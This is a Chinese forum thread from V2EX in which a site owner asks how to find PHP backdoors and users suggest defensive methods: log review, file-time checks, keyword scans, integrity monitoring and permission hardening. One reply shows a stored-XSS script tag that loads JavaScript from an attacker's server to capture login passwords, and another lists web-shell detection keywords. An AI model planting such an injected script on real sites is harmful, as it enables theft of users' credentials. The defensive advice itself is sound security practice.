V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
vitozhang
V2EX  ›  PHP

怎样查杀 PHP 网站的后门呢

  •  
  •   vitozhang · 2014-11-14 17:59:11 +08:00 · 6635 次点击
    这是一个创建于 3450 天前的主题,其中的信息可能已经有所发展或是发生改变。
    网站被挂马留后门了,如何才能找到后门呢,求大神结合自己的经验给个思路
    38 条回复    2014-11-19 09:05:22 +08:00
    whywhywhy
        1
    whywhywhy  
       2014-11-14 18:22:22 +08:00
    php这么灵活……基本没办法通杀。

    所以要么找到特征批量的查找,要么……我也不知道
    GPU
        2
    GPU  
       2014-11-14 20:14:19 +08:00 via iPhone
    删了源码重新部署应该是唯一的方法了
    gamexg
        3
    gamexg  
       2014-11-14 21:15:03 +08:00
    同 GPU 。
    还得注意数据库里面有没有 xss ,否则对方还有可能拿到你的浏览器会话。
    msg7086
        4
    msg7086  
       2014-11-15 07:11:09 +08:00
    同 GPU 。
    网站有木马基本靠重装。特别像论坛这种非常容易重装的程序,果断装个新的然后移植数据。
    vitozhang
        5
    vitozhang  
    OP
       2014-11-15 10:43:23 +08:00
    @whywhywhy 是否可以Linux命令查找敏感的php函数呢,比如shell_exec等
    vitozhang
        6
    vitozhang  
    OP
       2014-11-15 10:43:57 +08:00
    @GPU 重新部署治标不治本啊,入侵者还会重来的
    vitozhang
        7
    vitozhang  
    OP
       2014-11-15 10:45:14 +08:00
    @gamexg xss只是听过,具体原理不了解
    vitozhang
        8
    vitozhang  
    OP
       2014-11-15 10:46:00 +08:00
    @msg7086 或许还可以添加些权限设置,让他们无法上传大马
    gamexg
        9
    gamexg  
       2014-11-15 11:20:19 +08:00
    一些网站后台允许修改网站名称、页头、页尾和广告。这个有些是储存到数据库的。

    如果对方在里面加 <script src="http://对方的服务器上保存的脚本" type="text/javascript"></script> ,如果登陆页面插入了他的js,那么之后登陆用户的密码他都能轻松拿到的。
    gamexg
        10
    gamexg  
       2014-11-15 11:22:44 +08:00
    无法大马,一句话一样可以搞的。

    你要是图省事并且信任360之类的,就直接使用安全宝之类的服务吧...
    vitozhang
        12
    vitozhang  
    OP
       2014-11-15 11:31:50 +08:00
    @gamexg 一句话怎么搞定?360就得了吧
    gamexg
        13
    gamexg  
       2014-11-15 11:44:00 +08:00
    搞错了,要是权限配置好,禁止增加、修改、删除网站文件是可以解决一句话的。
    whywhywhy
        14
    whywhywhy  
       2014-11-15 12:37:42 +08:00
    @vitozhang 如果是被入侵后植入的,看看每个文件的修改日期,再检查……

    如果是程序本身有漏洞 那基本没戏 查关键词或许有效

    但是自从上次看了各种各样的php后面之后,觉得没戏了……因为php太灵活了。
    kookxiang
        15
    kookxiang  
       2014-11-15 14:10:01 +08:00 via Android
    没办法的,PHP非常灵活,按关键字搜根本搜不到,只能用dz那种比对md5的办法人工处理
    vitozhang
        16
    vitozhang  
    OP
       2014-11-15 14:14:55 +08:00
    @kookxiang php终究还是要用来执行shell的嘛,只要搜索正则处理的点就可以找出来吧
    GPU
        17
    GPU  
       2014-11-15 15:21:00 +08:00 via iPhone
    @vitozhang 你需要的不是怎么去查php里面的后门木马,而是完善的程序的漏洞,还是就是加强ssh的验证方式,比如证书登陆
    mengzhuo
        18
    mengzhuo  
       2014-11-15 15:21:54 +08:00
    strace抓原始操作
    某司CTO曾经用这个方法抓到一枚3年前植入的webshell
    vitozhang
        19
    vitozhang  
    OP
       2014-11-15 15:39:20 +08:00
    @mengzhuo 太高端了,Linux高端命令还不会用
    vitozhang
        20
    vitozhang  
    OP
       2014-11-15 15:41:57 +08:00
    @GPU 都得有啊
    vitozhang
        21
    vitozhang  
    OP
       2014-11-15 15:45:50 +08:00
    @whywhywhy 挨个文件找太痛苦了,感觉还是部署个系统监控比较靠谱
    shiny
        22
    shiny  
       2014-11-15 17:27:42 +08:00
    我是这么处理的:
    1、查找木马文件的 web 访问日志
    2、查找该 ip 的其他操作,查找相关操作访问过的文件和 url。
    3、如果没有相关 ip,可以翻下木马写入时间的web日志。如果网站规模小可以把那几天的日志都翻一下。
    3、定位出漏洞所在位置
    4、修补漏洞。

    虽然理论上 不是 100% 有效,实践中效果不错。
    shiny
        23
    shiny  
       2014-11-15 17:30:25 +08:00
    对于高危 php 代码(类似 dedecms),还设想过这样的预警方式:整天 crond 扫描对比文件,如果有异常就发邮件通知。
    不过常用防范手法用上后就没遇到过后门,也没去实践。
    vitozhang
        24
    vitozhang  
    OP
       2014-11-15 19:06:28 +08:00
    @shiny 还会把日志留下的入侵真是有良心啊,其实不需要写的php文件可以将整个文件夹设置只读权限,但是cache目录是没法设置只读的,还是能写进木马去,并且cache目录下的php文件经常变化,没法扫描对比
    xifangczy
        25
    xifangczy  
       2014-11-15 19:26:24 +08:00
    一句话木马是最难定位的,现在都是各种各样想都想不到的方式实现。
    shiny
        26
    shiny  
       2014-11-15 19:31:07 +08:00
    @vitozhang web 默认权限,入侵者删不了日志的……
    你这种的话 cache 禁止执行 php(不影响 include 执行),然后排除掉 cache 目录就行了。
    taogogo
        27
    taogogo  
       2014-11-15 22:38:16 +08:00
    检查文件修改时间,看对应时间的访问日志,来确定浏览者是否从web漏洞突破的(如果有日志);
    使用扫描工具扫文件修改时间和关键字,去掉其他后门;
    检查是否有弱口令;是否有多余端口;是否有包含漏洞的应用
    taogogo
        28
    taogogo  
       2014-11-15 22:39:18 +08:00
    低权限,read only,文件修改监控都可以保护你~
    konakona
        29
    konakona  
       2014-11-16 08:08:22 +08:00
    =,,= 如果程序是你负责开发的倒还好..

    1.创建时间/修改时间/文件权限(超高?)

    基本上面这3个特征已足以..

    2.关键词搜“By”(很多人喜欢HACKING BY WHO WHO WHO ..) “eval” 、“$_POST”、“$_GET”(这2个如果多就说明你们没有对这些global进行封装的习惯,有点难排查=,,=)、“dirname”、“__FILE__” 你们想想还有啥?

    3.观察php的log,看下有哪些不可能执行PHP的目录下有PHP代码运行。
    vitozhang
        30
    vitozhang  
    OP
       2014-11-16 09:02:05 +08:00
    @shiny 好方法,cache设置读写去掉执行是不错的主意。默认权限下提权拿到root权限容易吗?
    vitozhang
        31
    vitozhang  
    OP
       2014-11-16 09:04:00 +08:00
    @taogogo 文件监控有没有开源的解决方案呢
    vitozhang
        32
    vitozhang  
    OP
       2014-11-16 09:05:45 +08:00
    @konakona 被include进去的文件不会记录在log中吗
    jungledrum
        33
    jungledrum  
       2014-11-16 11:37:19 +08:00
    试试“网站安全管家”http://zhanzhang.anquan.org/ ,找黑哥要邀请码
    vitozhang
        34
    vitozhang  
    OP
       2014-11-16 11:58:12 +08:00
    @jungledrum 谢谢推荐,瞧一下
    taogogo
        35
    taogogo  
       2014-11-16 13:50:13 +08:00
    @vitozhang 搜下FAM
    vitozhang
        36
    vitozhang  
    OP
       2014-11-16 17:05:03 +08:00
    @taogogo File Alteration Monitor,赞,有不少开源的项目
    xwsoul
        37
    xwsoul  
       2014-11-18 22:15:20 +08:00
    如果有版本控制..比如 svn or git
    直接 svn status 或者 git status
    vitozhang
        38
    vitozhang  
    OP
       2014-11-19 09:05:22 +08:00
    @xwsoul 这个方法挺赞的
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5289 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 38ms · UTC 08:04 · PVG 16:04 · LAX 01:04 · JFK 04:04
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.